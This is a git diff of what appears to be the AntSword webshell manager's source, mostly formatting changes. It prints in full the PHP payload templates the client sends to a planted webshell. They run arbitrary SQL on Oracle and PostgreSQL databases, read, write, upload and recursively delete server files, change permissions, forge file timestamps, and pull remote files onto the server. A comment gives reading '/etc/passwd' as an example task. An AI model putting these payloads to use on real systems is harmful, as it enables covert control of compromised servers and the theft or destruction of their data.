_: _: `$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"{$sql}");$R=ora_exec($T);if($R){$n=ora_numcols($T);for($i=0;$i<$n;$i++){echo(Ora_ColumnName($T,$i)."\t|\t");}echo("\r\n");while(ora_fetch($T)){for($i=0;$i<$n;$i++){echo(base64_encode(trim(ora_getcolumn($T,$i))));echo("\t|\t");}echo("\r\n");}}else{echo("ErrMsg\t|\t\r\n");}@ora_close($T);};`,
`$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");if(!$H){echo("ERROR:// Login Failed!");}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"{$sql}");$R=ora_exec($T);if($R){$n=ora_numcols($T);for($i=0;$i<$n;$i++){echo(Ora_ColumnName($T,$i)."\t|\t");}echo("\r\n");while(ora_fetch($T)){for($i=0;$i<$n;$i++){echo(base64_encode(trim(ora_getcolumn($T,$i))));echo("\t|\t");}echo("\r\n");}}else{echo("ErrMsg\t|\t\r\n");}@ora_close($T);};`,
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
......
...@@ -9,8 +9,7 @@ ...@@ -9,8 +9,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -42,8 +41,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -42,8 +41,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -84,8 +82,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -84,8 +82,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -128,8 +125,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -128,8 +125,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -176,6 +172,6 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -176,6 +172,6 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
[arg4]: '#{db}', [arg4]: '#{db}',
[arg5]: '#{base64::sql}', [arg5]: '#{base64::sql}',
[arg6]: '#{encode}', [arg6]: '#{encode}'
} }
}) })
...@@ -6,8 +6,7 @@ ...@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -38,15 +37,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -38,15 +37,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q); @pg_free_result($q);
} }
@pg_close($T); @pg_close($T);
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -79,7 +77,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -79,7 +77,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q); @pg_free_result($q);
} }
@pg_close($T); @pg_close($T);
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -87,8 +85,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -87,8 +85,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -123,7 +120,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -123,7 +120,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
@pg_free_result($q); @pg_free_result($q);
} }
@pg_close($T); @pg_close($T);
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -132,8 +129,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -132,8 +129,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
...@@ -6,8 +6,7 @@ ...@@ -6,8 +6,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -35,15 +34,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -35,15 +34,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
echo(trim($res['datname']).chr(9)); echo(trim($res['datname']).chr(9));
} }
$dbh=null; $dbh=null;
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}' [arg3]: '#{passwd}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -73,7 +71,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -73,7 +71,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
echo(trim($res['table_name']).chr(9)); echo(trim($res['table_name']).chr(9));
} }
$dbh=null; $dbh=null;
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -81,8 +79,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -81,8 +79,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -114,7 +111,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -114,7 +111,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
echo(trim($res['column_name'])." ({$res['udt_name']}({$len}))".chr(9)); echo(trim($res['column_name'])." ({$res['udt_name']}({$len}))".chr(9));
} }
$dbh = null; $dbh = null;
}`.replace(/\n\s+/g,''), }`.replace(/\n\s+/g, ''),
[arg1]: '#{host}', [arg1]: '#{host}',
[arg2]: '#{user}', [arg2]: '#{user}',
[arg3]: '#{passwd}', [arg3]: '#{passwd}',
...@@ -123,8 +120,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -123,8 +120,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
...@@ -7,8 +7,7 @@ ...@@ -7,8 +7,7 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -26,8 +25,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -26,8 +25,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -47,8 +45,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -47,8 +45,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
...@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -70,8 +67,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
_: _: `$m=get_magic_quotes_gpc();
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]; $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]; $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"]; $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
......
...@@ -4,80 +4,68 @@ ...@@ -4,80 +4,68 @@
module.exports = (arg1, arg2, arg3) => ({ module.exports = (arg1, arg2, arg3) => ({
dir: { dir: {
_: _: `$D=base64_decode($_POST["${arg1}"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
`$D=base64_decode($_POST["${arg1}"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
delete: { delete: {
_: _: `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`,
`function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
create_file: { create_file: {
_: _: `echo @fwrite(fopen(base64_decode($_POST["${arg1}"]),"w"),base64_decode($_POST["${arg2}"]))?"1":"0";`,
`echo @fwrite(fopen(base64_decode($_POST["${arg1}"]),"w"),base64_decode($_POST["${arg2}"]))?"1":"0";`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::content}" [arg2]: "#{base64::content}"
}, },
read_file: { read_file: {
_: _: `$F=base64_decode($_POST["${arg1}"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
`$F=base64_decode($_POST["${arg1}"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
copy: { copy: {
_: _: `$m=get_magic_quotes_gpc();$fc=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$fp=base64_decode($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`,
`$m=get_magic_quotes_gpc();$fc=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$fp=base64_decode($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::target}" [arg2]: "#{base64::target}"
}, },
download_file: { download_file: {
_: _: `$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`,
`$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
upload_file: { upload_file: {
_: _: `$f=base64_decode($_POST["${arg1}"]);$c=$_POST["${arg2}"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`,
`$f=base64_decode($_POST["${arg1}"]);$c=$_POST["${arg2}"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{buffer::content}" [arg2]: "#{buffer::content}"
}, },
rename: { rename: {
_: _: `$m=get_magic_quotes_gpc();$src=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$dst=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(rename($src,$dst)?"1":"0");`,
`$m=get_magic_quotes_gpc();$src=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$dst=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(rename($src,$dst)?"1":"0");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::name}" [arg2]: "#{base64::name}"
}, },
retime: { retime: {
_: _: `$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$TM=strtotime(base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]));if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?"1":"0");}else{echo("0");};`,
`$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$TM=strtotime(base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]));if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?"1":"0");}else{echo("0");};`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::time}" [arg2]: "#{base64::time}"
}, },
chmod: { chmod: {
_: _: `$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$mode=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(chmod($FN,octdec($mode))?"1":"0");`,
`$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);$mode=base64_decode(m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"]);echo(chmod($FN,octdec($mode))?"1":"0");`,
[arg1]: "#{base64::path}", [arg1]: "#{base64::path}",
[arg2]: "#{base64::mode}" [arg2]: "#{base64::mode}"
}, },
mkdir: { mkdir: {
_: _: `$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);echo(mkdir($f)?"1":"0");`,
`$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"]);echo(mkdir($f)?"1":"0");`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
wget: { wget: {
_: _: `$fR=base64_decode($_POST["${arg1}"]);$fL=base64_decode($_POST["${arg2}"]);$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo("1");}else{echo("0");};`,
`$fR=base64_decode($_POST["${arg1}"]);$fL=base64_decode($_POST["${arg2}"]);$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo("1");}else{echo("0");};`,
[arg1]: "#{base64::url}", [arg1]: "#{base64::url}",
[arg2]: "#{base64::path}" [arg2]: "#{base64::path}"
} }
......
...@@ -12,16 +12,24 @@ class PHP4 extends PHP { ...@@ -12,16 +12,24 @@ class PHP4 extends PHP {
* @param {Object} data 通过模板解析后的代码对象 * @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // "->|"; let tag_s = Math
let tag_e = Math.random().toString(16).substr(2, 5); // "|<-"; .random()
.toString(16)
.substr(2, 5); // "->|";
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // "|<-";
let asencCode; let asencCode;
if(!force_default){ if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(); asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput();
}else{ } else {
asencCode = this.__decoder__['default'].asoutput(); asencCode = this
.__decoder__['default']
.asoutput();
} }
// 组合完整的代码 // 组合完整的代码
let tmpCode = data['_']; let tmpCode = data['_'];
......
This diff is collapsed.
...@@ -11,13 +11,12 @@ const languages = { ...@@ -11,13 +11,12 @@ const languages = {
} }
// 获取本地设置语言(如若没有,则获取浏览器语言 // 获取本地设置语言(如若没有,则获取浏览器语言
let lang = antSword['storage']('language', let lang = antSword['storage']('language', false, navigator.language.substr(0, 2));
false,
navigator.language.substr(0,2)
);
// 判断本地设置语言是否符合语言模板 // 判断本地设置语言是否符合语言模板
lang = languages[lang] ? lang : 'en'; lang = languages[lang]
? lang
: 'en';
// 返回语言模板 // 返回语言模板
let langModule = require(`./${lang}`); let langModule = require(`./${lang}`);
......
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
...@@ -42,23 +42,24 @@ class Tasks { ...@@ -42,23 +42,24 @@ class Tasks {
this.manager = manager; this.manager = manager;
} }
// const task = tasks.new('download', '/etc/passwd', '0%'); // const task = tasks.new('download', '/etc/passwd', '0%'); task.update('20%');
// task.update('20%');
// task.end('100%'); // task.end('100%');
new(name, desc, progress) { new(name, desc, progress) {
// 展开panel // 展开panel
this.cell.expand(); this
.cell
.expand();
// 创建一个随机ID // 创建一个随机ID
const hash = String(+new Date() + Math.random()).replace('.', '_'); const hash = String(+ new Date() + Math.random()).replace('.', '_');
